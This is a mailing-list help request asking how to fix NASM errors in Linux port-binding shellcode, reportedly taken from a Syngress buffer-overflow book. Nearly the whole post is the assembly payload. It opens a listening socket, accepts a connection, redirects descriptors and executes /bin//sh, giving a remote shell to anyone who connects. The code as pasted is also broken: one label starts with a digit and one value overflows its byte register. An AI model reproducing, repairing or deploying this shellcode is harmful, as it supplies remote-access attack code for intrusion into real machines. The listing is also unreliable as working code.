here is da example gave in "buffer overflow attacks" by syngress i was compilin this asm source file with nasm
>nasm -f elf port_binding_shellcode_linux.asm port_binding_shellcode_linux.asm:51: error: label or instruction expected at start of line port_binding_shellcode_linux.asm:55: error: expression syntax error 51 100p: 52 dec cl 53 mov al, 63 54 int 0x80 55 jnz 100p can anyone tell me how can i fix this shit? port_binding_shellcode_linux.asm : ; int socket(int call, unsigned long *args); BITS 32 xor eax, eax xor ebx, ebx cdq ; clean edx push eax push byte 0x1 push byte 0x2 mov ecx, esp inc bl ; ebx mov al, 102 int 0x80 mov esi, eax ; esi = soc = return value of socket() push edx push long 0xAAAA02AA mov ecx, esp push byte 0x10 push ecx push esi mov ecx, esp inc bl mov al, 102 int 0x80 push edx push esi mov ecx, esp mov bl, 0x4 mov al, 102 int 0x80 ; cli = accept(soc, 0, 0); push edx push edx push esi mov ecx, esp inc bl mov al, 102 int 0x80 mov ebx, eax xor ecx, ecx mov cl, 380 100p: dec cl mov al, 63 int 0x80 jnz 100p push edx push long 0x68732f2f push long 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp mov al, 0x0b int 0x80 --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [email protected] -~----------~----~----~----~------~----~------~--~---
